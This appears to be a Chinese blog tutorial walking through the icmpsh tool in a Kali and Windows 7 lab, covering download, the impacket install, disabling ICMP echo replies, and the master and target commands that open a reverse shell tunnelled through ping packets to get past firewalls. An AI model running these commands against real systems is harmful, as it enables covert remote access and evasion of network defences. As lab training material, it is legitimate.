ICMP隧道---icmpsh工具玩法

末蓝、 2023-09-28 19:02 121阅读 0赞

![在这里插入图片描述][451376ca661647a686f7a878b73e518c.jpeg_pic_center]

前言  
常常常会通过ping命令访问远程计算机，尝试建立ICMP隧道，将TCP/UDP数据封装到ICMP的ping数据包中，从而穿过防火墙(通常防火墙不会屏蔽 ping数据包)，实现不受限制的网络访问

# **利用ICMP协议反弹shell，Icmpsh工具** #

--------------------

Icmpsh工具简单，便于携带，运行不需要管理员权限  
下载地址为

https://github.com/inquisb/icmpsh

可使用git clone命令下载

![在这里插入图片描述][51780357f1274919b626a647c74fed19.png_pic_center]  
安装 Python 的 impacket 类库，以对TCP、UDP、ICMP、ARP、IPv4、IPv6 SMB等协议进行访问

apt-get install python-impacket

![在这里插入图片描述][8005b445a6094593993b08a0c9f8fac7.png_pic_center]  
因为icmpsh工具要代替系统本身的ping命令的应答程序，所以需要输入如下命令来关闭本地系统的ICMP应答(如果要恢复系统应答，则设置为0)，否则Shell的运行会不稳定(表现为一直刷屏，无法进行交互输入)

sysctl -w net.ipv4.icmp_echo_ignore_all=1

![在这里插入图片描述][cf02547c8acc436f89b9ba0cdbb11708.png_pic_center]

输入"./run.sh"并运行，会提示输人目标的IP地址(目标主机的公网IP地址),输入"192.168.1.43"并按"回车"键，会自动给出需要在目标主机上运行的命令并开始监听，但是我这里显示有问题，不知道为啥

![在这里插入图片描述][875f6e66b60349ed8e9058a9094f5e76.png_pic_center]  
于是使用Icmpsh的python脚本运行

python icmpsh_m.py 192.168.53.135(kail)  192.168.53.128(win7)

![在这里插入图片描述][55fbd2a987bf4a88b21108850d8ad262.png_pic_center]  
然后在win7上执行命令

icmpsh.exe -t 192.168.53.135(kail)

![在这里插入图片描述][0cdeaed926b748ef8e9adc4fcf222c9d.png_pic_center]  
kail上成功反弹shell

![在这里插入图片描述][4dc5e7a392614a31955703f58ad35700.png_pic_center]

[451376ca661647a686f7a878b73e518c.jpeg_pic_center]: https://img-blog.csdnimg.cn/451376ca661647a686f7a878b73e518c.jpeg#pic_center
[51780357f1274919b626a647c74fed19.png_pic_center]: https://img-blog.csdnimg.cn/51780357f1274919b626a647c74fed19.png#pic_center
[8005b445a6094593993b08a0c9f8fac7.png_pic_center]: https://img-blog.csdnimg.cn/8005b445a6094593993b08a0c9f8fac7.png#pic_center
[cf02547c8acc436f89b9ba0cdbb11708.png_pic_center]: https://img-blog.csdnimg.cn/cf02547c8acc436f89b9ba0cdbb11708.png#pic_center
[875f6e66b60349ed8e9058a9094f5e76.png_pic_center]: https://img-blog.csdnimg.cn/875f6e66b60349ed8e9058a9094f5e76.png#pic_center
[55fbd2a987bf4a88b21108850d8ad262.png_pic_center]: https://img-blog.csdnimg.cn/55fbd2a987bf4a88b21108850d8ad262.png#pic_center
[0cdeaed926b748ef8e9adc4fcf222c9d.png_pic_center]: https://img-blog.csdnimg.cn/0cdeaed926b748ef8e9adc4fcf222c9d.png#pic_center
[4dc5e7a392614a31955703f58ad35700.png_pic_center]: https://img-blog.csdnimg.cn/4dc5e7a392614a31955703f58ad35700.png#pic_center